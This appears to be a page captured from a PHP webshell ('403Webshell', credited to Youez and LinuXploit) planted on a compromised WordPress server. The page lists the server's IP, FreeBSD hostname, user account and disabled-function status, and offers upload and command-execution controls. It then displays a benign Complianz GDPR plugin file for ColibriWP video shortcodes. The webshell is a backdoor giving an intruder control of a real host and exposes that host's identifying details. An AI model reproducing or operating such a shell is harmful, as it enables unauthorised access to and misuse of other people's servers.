403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/k633_cz/www/wp-content/plugins/complianz-gdpr/integrations/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/k633_cz/www/wp-content/plugins/complianz-gdpr/integrations/plugins/colibriwp.php
<?php
/*
 * ColibriWP - Complianz Compatibility
 * Provided by ExtendThemes
*/

add_action( 'init', 'colibri_complianz_remove_video_shortcode', 20 );
function colibri_complianz_remove_video_shortcode() {
	remove_shortcode( 'colibri_video_player' );
}

add_action( 'init', function() {
	add_shortcode( 'colibri_video_player', function( $atts ) {
		ob_start();
		if ($atts['type']==='external') {
				printf(
					'<iframe src="%1$s"  class="h-video-main" %2$s allowfullscreen></iframe>',
					esc_url( $atts['url'] ),
					(($atts['autoplay'] === 'true') ? 'allow="autoplay"' : '')
				);
			} else {
				printf(
					'<video class="h-video-main" %1$s ><source src="%2$s" type="video/mp4" /></video>',
					(($atts['autoplay'] === 'true') ? 'allow="autoplay"' : ''),
					esc_url( $atts['url'] )
				);
			}

		return ob_get_clean();
	} );
}, 30 );

add_action( 'wp_head', function() {
	echo '
		<style type="text/css">
			.h-map > div {
				height: inherit !important;
			}
			.video-container .ratio-inner.cmplz-blocked-content-container {
				position: absolute;
				top: 0; left: 0; right: 0; bottom: 0;
			}
		</style>
	';
}, 999 );

Youez - 2016 - github.com/yon3zu
LinuXploit